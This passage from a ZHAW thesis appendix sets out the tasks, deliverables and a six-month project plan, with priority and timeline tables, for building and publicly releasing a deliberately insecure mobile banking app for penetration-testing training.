8. Release the app to the public. This includes picking a well-suited license, choosing a good name and logo for the InBank app, setting up a website where the app can be downloaded and providing all required help and documentation.
9. Write a report that documents your work. The report must describe the methodology and the results in a comprehensible way.

Deliverables

- The written report.
- The website where the app is provided to the public.
- All additional relevant artefacts that were produced during the thesis, in particular also all developed software components.

7.3 Project Plan

Insecure Mobile Banking App for Penetration Testing Training
Project Plan

The project is part of the vertiefungsmodule information security from the institute of Applied Information Technology (InIT) of the ZHAW School of Engineering. The start date is 16. March and it finishes the 30th September.
The project is divided into 8 tasks arranged during the total of 6 months and 2 weeks. Each task has several subtasks that will be further defined during the project, ideally each subtask has a duration of 1 week.
The tasks have a value representing the priority of the task and time estimation. The priority range starts from 0, not at all relevant for the project to 5, crucial importance for the project. The time estimation for task duration is expressed in weeks.

Nr.	Task	Subtasks	Priority	Time
1.	Analyze InBank app	1. Server 2. Android app	4	2
2.	Analyzed published vulnerable apps	1. owasp-mstg 2. owasp hacking playground 3. Damn Vulnerable Hybrid Mobile App 4. VulnerableAndroidAppOracle 5. Android InsecureBankv2 6. Purposefully Insecure and Vulnerable Android Application (PIIVA)	3	4
3.	Analyze the state of the art of mobile vulnerabilities	1. OWASP 2. Android Vulnerability Scanner	3	3
4.	Design & implement additional vulnerabilities	1. Design 2. Implement	4	5
5.	Improve the app usability & maintainability	1. RESTful API 2. Add DB 3. Two-factor authentication app	3	3
6.	Test the app	1. Vulnerability Exploitation 2. Virtual & Physical Device	4	3
7.	Release the app to the public.	1. Website	5	4
8.	Write the report	Keep up with documentation	5	*

Priority was assigned with in mind the final goal of increasing the number of vulnerabilities and provide the application to the public. For this reason, implement few new vulnerabilities and build the website has higher priority then analyze an higher number of vulnerabilities without at the end being able to implement them and public a working application.

The time estimation for task 8 is not defined because the report will be written at the end of all other tasks, for this reason one week of time was added to all other estimations.

The table below shows the tasks time slots during the entire project. Tasks were grouped into four categories.

Analyzed current version
State-of-the-art research
Implementation
Testing
Documentation

Task	March	April	May	June	July	August	September
1							
2							
3							
4							
5							
6							
7							
8							

Reality Check

Task	March	April	May	June	July	August	September
1	1 2	2					
2		1 3 5 2 4 6					
3		1 2					
4		1	2 1 2 2				
5				1 1 1 2	2 3 3		
6					1	1 1 1 1	
7							
8							